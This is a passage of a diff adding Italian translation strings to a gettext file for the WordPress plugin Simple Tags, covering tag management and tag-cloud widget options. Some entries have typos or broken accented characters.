+#: /2.3/inc/simple-tags.admin.php:551
+#: /2.5/inc/simple-tags.admin.php:529
+#: /2.5/inc/simple-tags.admin.php:552
+msgid "Do you really want to restore the default options?"
+msgstr "Sei sicuro di voler ripristinare le opzioni iniziali (default)?"
+
+#: /2.3/inc/simple-tags.admin.php:527
+#: /2.3/inc/simple-tags.admin.php:551
+#: /2.5/inc/simple-tags.admin.php:529
+#: /2.5/inc/simple-tags.admin.php:552
+msgid "Reset Options"
+msgstr "Azzera opzioni"
+
+#: /2.3/inc/simple-tags.admin.php:534
+#: /2.5/inc/simple-tags.admin.php:536
+msgid "Uninstallation"
+msgstr "Disinstalla"
+
+#: /2.3/inc/simple-tags.admin.php:540
+#: /2.5/inc/simple-tags.admin.php:542
+msgid "Generally, deactivating this plugin does not erase any of its data, if you like to quit using Simple Tags for good, please erase <strong>all</strong> options before deactivating the plugin."
+msgstr "Disattivando questo plugin non si cancellano i suoi dati, se vuoi smettere diusare completamente Simple Tags cancella <strong>tutte</strong> le opzioni prima di disattivare il plugin."
+
+#: /2.3/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:543
+msgid "This erases all Simple Tags options. <strong>This is irrevocable! Be careful.</strong>"
+msgstr "Questo cancella tutte le opzioni di Simple Tags. <strong>Non Ãš possibile ripristinare la situazione! fai attenzione.</strong>"
+
+#: /2.3/inc/simple-tags.admin.php:544
+#: /2.5/inc/simple-tags.admin.php:546
+msgid "Delete all options ?"
+msgstr "Elimina tutte le opzioni?"
+
+#: /2.3/inc/simple-tags.admin.php:568
+#: /2.3/inc/simple-tags.admin.php:1714
+#: /2.5/inc/simple-tags.admin.php:568
+#: /2.5/inc/simple-tags.admin.php:1725
+msgid "Security problem. Try again. If this problem persist, contact <a href=\"mailto:amaury@wordpress-fr.net\">plugin author</a>."
+msgstr "Problema di sicurezza. Riprova, se il problema continua contatta <a href=\"mailto:amaury@wordpress-fr.net\">l'autore del plugin</a>."
+
+#: /2.3/inc/simple-tags.admin.php:601
+#: /2.3/inc/simple-tags.widgets.php:171
+#: /2.5/inc/simple-tags.admin.php:601
+#: /2.5/inc/simple-tags.widgets.php:159
+msgid "Most popular"
+msgstr "Piu' usati"
+
+#: /2.3/inc/simple-tags.admin.php:602
+#: /2.3/inc/simple-tags.widgets.php:161
+#: /2.3/inc/simple-tags.widgets.php:172
+#: /2.5/inc/simple-tags.admin.php:602
+#: /2.5/inc/simple-tags.widgets.php:149
+#: /2.5/inc/simple-tags.widgets.php:160
+msgid "Least used"
+msgstr "Mano usati"
+
+#: /2.3/inc/simple-tags.admin.php:603
+#: /2.3/inc/simple-tags.widgets.php:158
+#: /2.3/inc/simple-tags.widgets.php:169
+#: /2.5/inc/simple-tags.admin.php:603
+#: /2.5/inc/simple-tags.widgets.php:146
+#: /2.5/inc/simple-tags.widgets.php:157
+msgid "Alphabetical"
+msgstr "Alfabetico"
+
+#: /2.3/inc/simple-tags.admin.php:634
+#: /2.5/inc/simple-tags.admin.php:634
+msgid "Existing Tags"
+msgstr "Tag esistenti"
+
+#: /2.3/inc/simple-tags.admin.php:638
+#: /2.5/inc/simple-tags.admin.php:638
+msgid "Search tags"
+msgstr "Ricerca nei tag."
+
+#: /2.3/inc/simple-tags.admin.php:642
+#: /2.5/inc/simple-tags.admin.php:642
+msgid "Go"
+msgstr "Vai"
+
+#: /2.3/inc/simple-tags.admin.php:645
+#: /2.5/inc/simple-tags.admin.php:646
+msgid "Sort Order:"
+msgstr "Tipo di ordinamento:"
+
+#: /2.3/inc/simple-tags.admin.php:660
+#: /2.3/inc/simple-tags.admin.php:1844
+#: /2.5/inc/simple-tags.admin.php:664
+#: /2.5/inc/simple-tags.admin.php:1854
+#, php-format
+msgid "View all posts tagged with %s"
+msgstr "Visualizza tutti i post col tag %s"
+
+#: /2.3/inc/simple-tags.admin.php:671
+#: /2.3/inc/simple-tags.admin.php:1859
+#: /2.3/inc/simple-tags.admin.php:1861
+#: /2.5/inc/simple-tags.admin.php:672
+#: /2.5/inc/simple-tags.admin.php:1869
+#: /2.5/inc/simple-tags.admin.php:1871
+msgid "Previous tags"
+msgstr "Tag precedenti"
+
+#: /2.3/inc/simple-tags.admin.php:671
+#: /2.3/inc/simple-tags.admin.php:1865
+#: /2.3/inc/simple-tags.admin.php:1867
+#: /2.5/inc/simple-tags.admin.php:672
+#: /2.5/inc/simple-tags.admin.php:1875
+#: /2.5/inc/simple-tags.admin.php:1877
+msgid "Next tags"
+msgstr "Tag successivi"
+
+#: /2.3/inc/simple-tags.admin.php:679
+#: /2.5/inc/simple-tags.admin.php:679
+msgid "Rename Tag"
+msgstr "Rinomina tag"
+
+#: /2.3/inc/simple-tags.admin.php:680
+#: /2.5/inc/simple-tags.admin.php:687
+msgid "Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click \"Rename\" and all posts which use this tag will be updated."
+msgstr "Inserisci il tag da rinominare e il suo nuovo valore. Puoi usare questa opzione anche per unire i tag. Fai click su  \"Rename\" e tutti i post che usano questo tag verrano aggiornati"
+
+#: /2.3/inc/simple-tags.admin.php:681
+#: /2.3/inc/simple-tags.admin.php:722
+#: /2.5/inc/simple-tags.admin.php:688
+#: /2.5/inc/simple-tags.admin.php:762
+msgid "You can specify multiple tags to rename by separating them with commas."
+msgstr "Puoi specificare piu tag da rinominare separandoli con delle virgole."
+
+#: /2.3/inc/simple-tags.admin.php:686
+#: /2.5/inc/simple-tags.admin.php:692
+msgid "Tag(s) to rename:"
+msgstr "Tag(s) da rinominare:"
+
+#: /2.3/inc/simple-tags.admin.php:687
+#: /2.5/inc/simple-tags.admin.php:696
+msgid "New tag name(s):"
+msgstr "Nuovo(i) nome(i) dei tag:"
+
+#: /2.3/inc/simple-tags.admin.php:688
+#: /2.5/inc/simple-tags.admin.php:699
+msgid "Rename"
+msgstr "Rinomina"
+
+#: /2.3/inc/simple-tags.admin.php:693
+#: /2.5/inc/simple-tags.admin.php:705
+msgid "Delete Tag"
+msgstr "Elimina tag"
+
+#: /2.3/inc/simple-tags.admin.php:694
+#: /2.5/inc/simple-tags.admin.php:713
+msgid "Enter the name of the tag to delete.  This tag will be removed from all posts."
+msgstr "Inserisci il nome del tag da  eliminare. Questo tag verrÃ  rimosso datutti i post."
+
+#: /2.3/inc/simple-tags.admin.php:695
+#: /2.5/inc/simple-tags.admin.php:714
+msgid "You can specify multiple tags to delete by separating them with commas"
+msgstr "Puoi specificare la rimozione di piu tag separando i loro nomi con delle virgole."
+
+#: /2.3/inc/simple-tags.admin.php:700
+#: /2.5/inc/simple-tags.admin.php:718
+msgid "Tag(s) to delete:"
+msgstr "Tag da cancellare:"
+
+#: /2.3/inc/simple-tags.admin.php:701
+#: /2.5/inc/simple-tags.admin.php:721
+msgid "Delete"
+msgstr "Cancella"
+
+#: /2.3/inc/simple-tags.admin.php:706
+#: /2.5/inc/simple-tags.admin.php:727
+msgid "Add Tag"
+msgstr "Aggiungi tag"
+
+#: /2.3/inc/simple-tags.admin.php:707
+#: /2.5/inc/simple-tags.admin.php:735
+msgid "This feature lets you add one or more new tags to all posts which match any of the tags given."
+msgstr "Questa opzione ti permette di aggiungere uno o piu tag a tutti i post che corrispondono al tag scelto."
+
+#: /2.3/inc/simple-tags.admin.php:708
+#: /2.5/inc/simple-tags.admin.php:736
+msgid "You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don't specify any tags to match."
+msgstr "Puoi specificare piu tag da aggiungere separandoli con delle virgole. Se vuoi che i tag siano aggiunti a tutti i post non specificare nessun tag da ricercare."
+
+#: /2.3/inc/simple-tags.admin.php:713
+#: /2.3/inc/simple-tags.admin.php:728
+#: /2.5/inc/simple-tags.admin.php:740
+#: /2.5/inc/simple-tags.admin.php:766
+msgid "Tag(s) to match:"
+msgstr "Tag(s) da ricercare:"
+
+#: /2.3/inc/simple-tags.admin.php:714
+#: /2.5/inc/simple-tags.admin.php:744
+msgid "Tag(s) to add:"
+msgstr "Tag(s) da aggiungere:"
+
+#: /2.3/inc/simple-tags.admin.php:715
+#: /2.5/inc/simple-tags.admin.php:747
+msgid "Add"
+msgstr "Aggiungi"
+
+#: /2.3/inc/simple-tags.admin.php:720
+#: /2.5/inc/simple-tags.admin.php:753
+msgid "Edit Tag Slug"
+msgstr "Modifica lo Slug del tag"
+
+#: /2.3/inc/simple-tags.admin.php:721
+#: /2.5/inc/simple-tags.admin.php:761
+msgid "Enter the tag name to edit and its new slug. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Slug definition</a>"
+msgstr "Inserisci il nome del tag da modificare ed il suo nuovo slug. <a href=\"http://codex.wordpress.org/Glossary#Slug\">definizione di Slug</a> "
+
+#: /2.3/inc/simple-tags.admin.php:732
+#: /2.5/inc/simple-tags.admin.php:770
+msgid "Slug(s) to set:"
+msgstr "Slug da modificare:"
+
+#: /2.3/inc/simple-tags.admin.php:737
+#: /2.3/inc/simple-tags.admin.php:916
+#: /2.5/inc/simple-tags.admin.php:773
+#: /2.5/inc/simple-tags.admin.php:1038
+msgid "Edit"
+msgstr "Modifica"
+
+#: /2.3/inc/simple-tags.admin.php:743
+#: /2.5/inc/simple-tags.admin.php:779
+msgid "Remove empty terms"
+msgstr "Elimina termini vuoti"
+
+#: /2.3/inc/simple-tags.admin.php:744
+#: /2.5/inc/simple-tags.admin.php:787
+msgid "WordPress 2.3 have a small bug and can create empty terms. Remove it !"
+msgstr "WordPress 2.3 potrebbe creare link vuoti per . Eliminali !"
+
+#: /2.3/inc/simple-tags.admin.php:748
+#: /2.5/inc/simple-tags.admin.php:788
+msgid "Clean !"
+msgstr "Pulisci!"
+
+#: /2.3/inc/simple-tags.admin.php:849
+msgid "Search terms&hellip;"
+msgstr "Termini da cercare&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:854
+#: /2.5/inc/simple-tags.admin.php:1008
+msgid "Quantity&hellip;"
+msgstr "QuantitÃ &hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:872
+msgid "Author&hellip;"
+msgstr "Autore&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:873
+msgid "Any"
+msgstr "Qualunque"
+
+#: /2.3/inc/simple-tags.admin.php:878
+msgid "Type&hellip;"
+msgstr "Tipo&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:880
+msgid "Post"
+msgstr "Post"
+
+#: /2.3/inc/simple-tags.admin.php:882
+msgid "Page"
+msgstr "Pagina"
+
+#: /2.3/inc/simple-tags.admin.php:888
+msgid "Order&hellip;"
+msgstr "Ordine&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:890
+msgid "Date (descending)"
+msgstr "Data (discendente)"
+
+#: /2.3/inc/simple-tags.admin.php:891
+msgid "Date (ascending)"
+msgstr "Data (ascendente)"
+
+#: /2.3/inc/simple-tags.admin.php:892
+msgid "ID (descending)"
+msgstr "ID (discendente)"
+
+#: /2.3/inc/simple-tags.admin.php:893
+msgid "ID (ascending)"
+msgstr "ID (ascendente)"
+
+#: /2.3/inc/simple-tags.admin.php:898
+msgid "Filter&hellip;"
+msgstr "Filtro&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:900
+msgid "All"
+msgstr "Tutti"
+
+#: /2.3/inc/simple-tags.admin.php:901
+msgid "Untagged only"
+msgstr "Solo quelli senza tag"
+
+#: /2.3/inc/simple-tags.admin.php:905
+msgid "Filter &#187;"
+msgstr "Filtro &#187;"
+
+#: /2.3/inc/simple-tags.admin.php:912
+#: /2.3/inc/simple-tags.admin.php:922
+msgid "Update all"
+msgstr "Aggiorna tutto"
+
+#: /2.3/inc/simple-tags.admin.php:936
+#: /2.5/inc/simple-tags.admin.php:1068
+msgid "No content to edit."
+msgstr "Nessun contenuto da modificare."
+
+#: /2.3/inc/simple-tags.admin.php:1053
+msgid "Tags (separate multiple tags with commas: cats, pet food, dogs)"
+msgstr "Tags (separa i tag multipli con virgole: gatti, cibo per animali, cani)"
+
+#: /2.3/inc/simple-tags.admin.php:1105
+#: /2.5/inc/simple-tags.admin.php:1326
+msgid "No new tag specified!"
+msgstr "Non e' stato specificato nessun nuovo tag!"
+
+#: /2.3/inc/simple-tags.admin.php:1124
+#: /2.5/inc/simple-tags.admin.php:1341
+msgid "No new/old valid tag specified!"
+msgstr "Non e' stato specificat nessun tag valido!"
+
+#: /2.3/inc/simple-tags.admin.php:1156
+#: /2.5/inc/simple-tags.admin.php:1373
+msgid "No tag renamed."
+msgstr "Non e' stato rinominato nessun tag."
+
+#: /2.3/inc/simple-tags.admin.php:1159
+#: /2.5/inc/simple-tags.admin.php:1376
+#, php-format
+msgid "Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;"
+msgstr "Rinominati i tag(s) &laquo;%1$s&raquo; in &laquo;%2$s&raquo;"
+
+#: /2.3/inc/simple-tags.admin.php:1166
+#: /2.5/inc/simple-tags.admin.php:1383
+msgid "No valid new tag."
+msgstr "Nessun tag valido."
+
+#: /2.3/inc/simple-tags.admin.php:1183
+#: /2.5/inc/simple-tags.admin.php:1400
+msgid "No objects (post/page) found for specified old tags."
+msgstr "Non e' stato trovato nessuno oggetto (post o pagina) per il tag specificato."
+
+#: /2.3/inc/simple-tags.admin.php:1208
+#: /2.5/inc/simple-tags.admin.php:1425
+msgid "No tag merged."
+msgstr "Nessun tag unito."
+
+#: /2.3/inc/simple-tags.admin.php:1211
+#: /2.5/inc/simple-tags.admin.php:1428
+#, php-format
+msgid "Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited."
+msgstr "unisci i tag &laquo;%1$s&raquo; in &laquo;%2$s&raquo;. %3$s oggeti modificati."
+
+#: /2.3/inc/simple-tags.admin.php:1214
+#: /2.5/inc/simple-tags.admin.php:1431
+msgid "Error. No enough tags for rename. Too for merge. Choose !"
+msgstr "Errore. Non ci sono abbastanza tag da rinominare o da unire. Scegli."
+
+#: /2.3/inc/simple-tags.admin.php:1240
+#: /2.5/inc/simple-tags.admin.php:1458
+msgid "No tag specified!"
+msgstr "Nessun tag specificato!"
+
+#: /2.3/inc/simple-tags.admin.php:1265
+#: /2.5/inc/simple-tags.admin.php:1480
+msgid "No tag deleted."
+msgstr "Nessun tag cancellato."
+
+#: /2.3/inc/simple-tags.admin.php:1268
+#: /2.5/inc/simple-tags.admin.php:1483
+#, php-format
+msgid "%1s tag(s) deleted."
+msgstr "%1s tag cancellato(i)."
+
+#: /2.3/inc/simple-tags.admin.php:1280
+#: /2.5/inc/simple-tags.admin.php:1495
+msgid "No new tag(s) specified!"
+msgstr "Nessun nuovo tag specificato!"
+
+#: /2.3/inc/simple-tags.admin.php:1328
+#: /2.5/inc/simple-tags.admin.php:1539
+msgid "No tag added."
+msgstr "Nessun tag aggiunto."
+
+#: /2.3/inc/simple-tags.admin.php:1331
+#: /2.5/inc/simple-tags.admin.php:1542
+#, php-format
+msgid "Tag(s) added to %1s post(s)."
+msgstr "Tag aggiunto(i) a %1s post."
+
+#: /2.3/inc/simple-tags.admin.php:1343
+#: /2.5/inc/simple-tags.admin.php:1554
+msgid "No new slug(s) specified!"
+msgstr "Nessun nuovo slug definito!"
+
+#: /2.3/inc/simple-tags.admin.php:1359
+#: /2.5/inc/simple-tags.admin.php:1566
+msgid "Tags number and slugs number isn't the same!"
+msgstr "Il numero di tag e il umero di slug non corrispondono!"
+
+#: /2.3/inc/simple-tags.admin.php:1383
+#: /2.5/inc/simple-tags.admin.php:1590
+msgid "No slug edited."
+msgstr "Nessuno slug modificato"
+
+#: /2.3/inc/simple-tags.admin.php:1386
+#: /2.5/inc/simple-tags.admin.php:1593
+#, php-format
+msgid "%s slug(s) edited."
+msgstr "%s slug(s) modificati."
+
+#: /2.3/inc/simple-tags.admin.php:1404
+#: /2.5/inc/simple-tags.admin.php:1611
+msgid "Nothing to muck. Good job !"
+msgstr "Nothing to muck. Good job !"
+
+#: /2.3/inc/simple-tags.admin.php:1429
+#: /2.5/inc/simple-tags.admin.php:1639
+#, php-format
+msgid "%s rows deleted. WordPress DB is clean now !"
+msgstr "%s righe eliminate.Il db di  WordPress ora e' pulito !"
+
+#: /2.3/inc/simple-tags.admin.php:1452
+#: /2.5/inc/simple-tags.admin.php:1652
+msgid "Display click tags"
+msgstr "Visaulizza i tag da cliccare"
+
+#: /2.3/inc/simple-tags.admin.php:1452
+#: /2.5/inc/simple-tags.admin.php:1653
+msgid "Hide click tags"
+msgstr "Nascondi i tag da cliccare"
+
+#: /2.3/inc/simple-tags.admin.php:1504
+#: /2.5/inc/simple-tags.admin.php:1670
+msgid "Suggested tags from :"
+msgstr "Suggerisci i tag da:"
+
+#: /2.3/inc/simple-tags.admin.php:1505
+#: /2.5/inc/simple-tags.admin.php:1671
+msgid "Local tags"
+msgstr "Tag locali"
+
+#: /2.3/inc/simple-tags.admin.php:1506
+#: /2.5/inc/simple-tags.admin.php:1672
+msgid "Yahoo"
+msgstr "Yahoo"
+
+#: /2.3/inc/simple-tags.admin.php:1507
+#: /2.5/inc/simple-tags.admin.php:1673
+msgid "Tag The Net"
+msgstr "Tag The Net"
+
+#: /2.3/inc/simple-tags.admin.php:1513
+#: /2.5/inc/simple-tags.admin.php:1676
+msgid "Choose a provider to get suggested tags (local, yahoo or tag the net)."
+msgstr "Scegli una sorgente da cui prelevare i tag di suggerimento. (local, yahoo or tag the net)."
+
+#: /2.3/inc/simple-tags.admin.php:1742
+#: /2.5/inc/simple-tags.admin.php:1757
+#, php-format
+msgid "%s post(s) tags updated with success !"
+msgstr "%s tag dei post modificati con successo !"
+
+#: /2.3/inc/simple-tags.admin.php:1744
+#: /2.5/inc/simple-tags.admin.php:1755
+#, php-format
+msgid "%s page(s) tags updated with success !"
+msgstr "%s tag delle pagine modificati con successo !"
+
+#: /2.3/inc/simple-tags.admin.php:2155
+#: /2.5/inc/simple-tags.admin.php:2163
+#, php-format
+msgid "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+
+#: /2.3/inc/simple-tags.admin.php:2195
+msgid "Page: "
+msgstr "Pagina:"
+
+#: /2.3/inc/simple-tags.admin.php:2274
+#: /2.5/inc/simple-tags.admin.php:2265
+msgid "General"
+msgstr "Generale"
+
+#: /2.3/inc/simple-tags.admin.php:2277
+#: /2.5/inc/simple-tags.admin.php:2268
+msgid "Administration"
+msgstr "Amministrazione"
+
+#: /2.3/inc/simple-tags.admin.php:2280
+#: /2.5/inc/simple-tags.admin.php:2271
+msgid "Meta Keyword"
+msgstr "Meta Keyword"
+
+#: /2.3/inc/simple-tags.admin.php:2283
+#: /2.5/inc/simple-tags.admin.php:2274
+#: /extras/simple-tags.importer.php:242
+msgid "Embedded Tags"
+msgstr "Tag incorporati."
+
+#: /2.3/inc/simple-tags.admin.php:2286
+#: /2.5/inc/simple-tags.admin.php:2277
+msgid "Tags for Current Post"
+msgstr "Tagper il post corrente"
+
+#: /2.3/inc/simple-tags.admin.php:2289
+#: /2.5/inc/simple-tags.admin.php:2280
+msgid "Related Posts"
+msgstr "Post correlati"
+
+#: /2.3/inc/simple-tags.admin.php:2292
+#: /2.5/inc/simple-tags.admin.php:2283
+msgid "Related Tags"
+msgstr "Tag correlati"
+
+#: /2.3/inc/simple-tags.admin.php:2295
+#: /2.5/inc/simple-tags.admin.php:2286
+msgid "Tag cloud"
+msgstr "Tag cloud"
+
+#: /2.3/inc/simple-tags.widgets.php:143
+#: /2.5/inc/simple-tags.widgets.php:131
+msgid "Empty field will use default value."
+msgstr "Nei campi vuoti verra' utilizzato il valore di default"
+
+#: /2.3/inc/simple-tags.widgets.php:146
+#: /2.5/inc/simple-tags.widgets.php:134
+msgid "Title:"
+msgstr "Titolo:"
+
+#: /2.3/inc/simple-tags.widgets.php:151
+#: /2.5/inc/simple-tags.widgets.php:139
+msgid "Max tags to display: (default: 45)"
+msgstr "Numero massimo di tag da mostrare: (default: 45)"
+
+#: /2.3/inc/simple-tags.widgets.php:156
+#: /2.5/inc/simple-tags.widgets.php:144
+msgid "Tags selection:"
+msgstr "Selezione dei tag:"
+
+#: /2.3/inc/simple-tags.widgets.php:159
+#: /2.3/inc/simple-tags.widgets.php:170
+#: /2.5/inc/simple-tags.widgets.php:147
+#: /2.5/inc/simple-tags.widgets.php:158
+msgid "Inverse Alphabetical"
+msgstr "Alfabetico inverso"
+
+#: /2.3/inc/simple-tags.widgets.php:160
+#: /2.5/inc/simple-tags.widgets.php:148
+msgid "Most popular (default)"
+msgstr "Piu' usati (default)"
+
+#: /2.3/inc/simple-tags.widgets.php:162
+#: /2.5/inc/simple-tags.widgets.php:150
+msgid "Random"
+msgstr "Random"
+
+#: /2.3/inc/simple-tags.widgets.php:173
+#: /2.5/inc/simple-tags.widgets.php:161
+msgid "Random (default)"
+msgstr "Random (default)"
+
+#: /2.3/inc/simple-tags.widgets.php:178
+#: /2.5/inc/simple-tags.widgets.php:166
+msgid "Font size mini: (default: 8)"
+msgstr "Dimensione del carattere mini: (default: 8)"
+
+#: /2.3/inc/simple-tags.widgets.php:183
+#: /2.5/inc/simple-tags.widgets.php:171
+msgid "Font size max: (default: 22)"
+msgstr "Dimensione del carattere max: (default: 22)"
+
+#: /2.3/inc/simple-tags.widgets.php:188
+#: /2.5/inc/simple-tags.widgets.php:176
+msgid "Unit font size:"
+msgstr "UnitÃ  di misura della dimensione del carattere. "
+
+#: /2.3/inc/simple-tags.widgets.php:190
+#: /2.5/inc/simple-tags.widgets.php:178
+msgid "Point (default)"
+msgstr "Punti (default)"
+
+#: /2.3/inc/simple-tags.widgets.php:191
+#: /2.5/inc/simple-tags.widgets.php:179
+msgid "Pixel"
+msgstr "Pixel"
+
+#: /2.3/inc/simple-tags.widgets.php:192
+#: /2.5/inc/simple-tags.widgets.php:180
+msgid "Em"
+msgstr "Em"
+
+#: /2.3/inc/simple-tags.widgets.php:193
+#: /2.5/inc/simple-tags.widgets.php:181
+msgid "Pourcent"
+msgstr "Percento"
+
+#: /2.3/inc/simple-tags.widgets.php:198
+#: /2.5/inc/simple-tags.widgets.php:186
+msgid "Format:"
+msgstr "Formato:"
+
+#: /2.3/inc/simple-tags.widgets.php:200
+#: /2.5/inc/simple-tags.widgets.php:188
+msgid "Flat (default)"
+msgstr "Flat (default)"
+
+#: /2.3/inc/simple-tags.widgets.php:201
+#: /2.5/inc/simple-tags.widgets.php:189
+msgid "List (UL/LI)"
+msgstr "List (UL/LI)"
+
+#: /2.3/inc/simple-tags.widgets.php:207
+#: /2.5/inc/simple-tags.widgets.php:195
+msgid "Use auto color cloud:"
+msgstr "usa la colorazione automatica della tag cloud:"
+
+#: /2.3/inc/simple-tags.widgets.php:211
+#: /2.5/inc/simple-tags.widgets.php:199
+msgid "Font color mini: (default: #CCCCCC)"
+msgstr "Colore del carattere mini: (default: #CCCCCC)"
+
+#: /2.3/inc/simple-tags.widgets.php:216
+#: /2.5/inc/simple-tags.widgets.php:204
+msgid "Font color max: (default: #000000)"
+msgstr "Colore del carattere max: (default: #000000)"
+
+#: /2.3/inc/simple-tags.widgets.php:221
+#: /2.5/inc/simple-tags.widgets.php:209
+msgid "Extended format: (advanced usage)"
+msgstr "Formato esteso: (Uso avanzato)"
+
+#: /2.3/inc/simple-tags.widgets.php:252
+msgid "Tag Cloud Widgets"
+msgstr "Tag Cloud Widgets"
+
+#: /2.3/inc/simple-tags.widgets.php:253
+#: /2.5/inc/simple-tags.widgets.php:241
+msgid "How many tag cloud widgets would you like?"
+msgstr "Quanti widgets di tag cloud vuoi?"
+
+#: /2.3/inc/simple-tags.widgets.php:257
+#: /2.5/inc/simple-tags.widgets.php:245
+msgid "Save"
+msgstr "Salva"
+
+#: /2.3/inc/simple-tags.widgets.php:274
+#: /2.3/inc/simple-tags.widgets.php:275
+#, php-format
+msgid "Extended Tag Cloud %d"
+msgstr "Tag cloud estesa %d"
+
+#: /2.5/simple-tags.client.php:111
+msgid "No tags for this post."
+msgstr "Nessun tag per questo post."
+
+#: /2.5/simple-tags.client.php:123
+msgid "No related tags found."
+msgstr "Non e' stato trovato nessun tag correlato."
+
+#: /2.5/simple-tags.client.php:1117
+msgid "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Elimina %tag_name%</a>"
+
+#: /2.5/simple-tags.client.php:1506
+msgid "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+
+#: /2.5/inc/simple-tags.admin.php:221
+#: /2.5/inc/simple-tags.admin.php:525
+#: /2.5/inc/simple-tags.admin.php:1071
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "Visita la <a href=\"http://code.google.com/p/simple-tags/\">homepage del plugin</a> per maggiori dettagli. Se trovi qualche qualche errore o hai qualche nuova idea, <a href=\"mailto:amaury@wordpress-fr.net\">segnalamela</a> !"
+
+#: /2.5/inc/simple-tags.admin.php:228
+msgid "Options"
+msgstr "Opzioni"
+
+#: /2.5/inc/simple-tags.admin.php:232
+msgid "Activation"
+msgstr "Attivazione"
+
+#: /2.5/inc/simple-tags.admin.php:239
+msgid "Tags database"
+msgstr "Database dei tag"
+
+#: /2.5/inc/simple-tags.admin.php:246
+msgid "Target"
+msgstr "Target"
+
+#: /2.5/inc/simple-tags.admin.php:253
+msgid "Keywords list"
+msgstr "Lista delle keyword"
+
+#: /2.5/inc/simple-tags.admin.php:256
+msgid "Separated with a comma"
+msgstr "Separate da una virgola"
+
+#: /2.5/inc/simple-tags.admin.php:262
+#: /2.5/inc/simple-tags.admin.php:528
+#: /2.5/inc/simple-tags.admin.php:551
+msgid "Update options &raquo;"
+msgstr "Aggiorna le opzioni &raquo;"
+
+#: /2.5/inc/simple-tags.admin.php:266
+msgid "Auto tags all content &raquo;"
+msgstr "Inserisci i tag automaticamente in tutto il contenuto &raquo;"
+
+#: /2.5/inc/simple-tags.admin.php:304
+#, php-format
+msgid "All done! %s tags added."
+msgstr "Operazione completata! %s tag aggiunti."
+
+#: /2.5/inc/simple-tags.admin.php:320
+msgid "Active tags for page:"
+msgstr "Attiva i tag per la pagina:"
+
+#: /2.5/inc/simple-tags.admin.php:321
+msgid "This feature allow page to be tagged. This option add pages in tags search. Also this feature add tag management in write page."
+msgstr "Questa opzione permette di inerire i tag nelle pagine. Questa opzione aggiunge le pagine nella ricerca dei tag. Questa opzione aggiunge anche la gestine dei tag nella scrittura delle pagine."
+
+#: /2.5/inc/simple-tags.admin.php:343
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is automatically disabled."
+msgstr "Include le  meta keywords tag ne tuo header automaticamente (molti temi, ma non tutti, lo supportano). Queste parole chiave sono spesso usate dai motori di ricerca.<br /><strong>Attenzione:</strong> Se Ãš installato il plugin \"All in One SEO Pack\" questa opzione viene automaticamente disabilitata."
+
+#: /2.5/inc/simple-tags.admin.php:868
+msgid "Published"
+msgstr "Pubblicato"
+
+#: /2.5/inc/simple-tags.admin.php:868
+msgid "Published posts"
+msgstr "Post pubblicati"
+
+#: /2.5/inc/simple-tags.admin.php:869
+msgid "Scheduled"
+msgstr "Scheduled"
+
+#: /2.5/inc/simple-tags.admin.php:869
+msgid "Scheduled posts"
+msgstr "Scheduled posts"
+
+#: /2.5/inc/simple-tags.admin.php:870
+msgid "Pending Review"
+msgstr "Da revisionare"
+
+#: /2.5/inc/simple-tags.admin.php:870
+msgid "Pending posts"
+msgstr "Post da elaborare"
+
+#: /2.5/inc/simple-tags.admin.php:871
+msgid "Draft"
+msgstr "Bozza"
+
+#: /2.5/inc/simple-tags.admin.php:871
+msgid "Drafts|manage posts header"
+msgstr "Bozza| elabora le testate dei post"
+
+#: /2.5/inc/simple-tags.admin.php:872
+msgid "Private"
+msgstr "Privato"
+
+#: /2.5/inc/simple-tags.admin.php:872
+msgid "Private posts"
+msgstr "Post privati"
+
+#: /2.5/inc/simple-tags.admin.php:916
+msgid "Mass edit tags"
+msgstr "Modifica dei tag di massa."
+
+#: /2.5/inc/simple-tags.admin.php:923
+msgid "All Posts"
+msgstr "Tutti i post"
+
+#: /2.5/inc/simple-tags.admin.php:944
+msgid "All Pages"
+msgstr "Tutte le pagine"
+
+#: /2.5/inc/simple-tags.admin.php:953
+msgid "Search Posts"
+msgstr "Cerca tutti i post"
+
+#: /2.5/inc/simple-tags.admin.php:985
+msgid "Show all dates"
+msgstr "Mostra tutte le date."
+
+#: /2.5/inc/simple-tags.admin.php:1005
+msgid "View all categories"
+msgstr "Visualizza tutte le categorie"
+
+#: /2.5/inc/simple-tags.admin.php:1018
+msgid "Filter"
+msgstr "Filtro"
+
+#: /2.5/inc/simple-tags.admin.php:1048
+msgid "Update all &raquo;"
+msgstr "Aggiorna tutto &raquo;"
+
+#: /2.5/inc/simple-tags.admin.php:1264
+#: /2.5/inc/simple-tags.admin.php:1279
+msgid "Tags <small>(separate multiple tags with commas: cats, pet food, dogs)</small>"
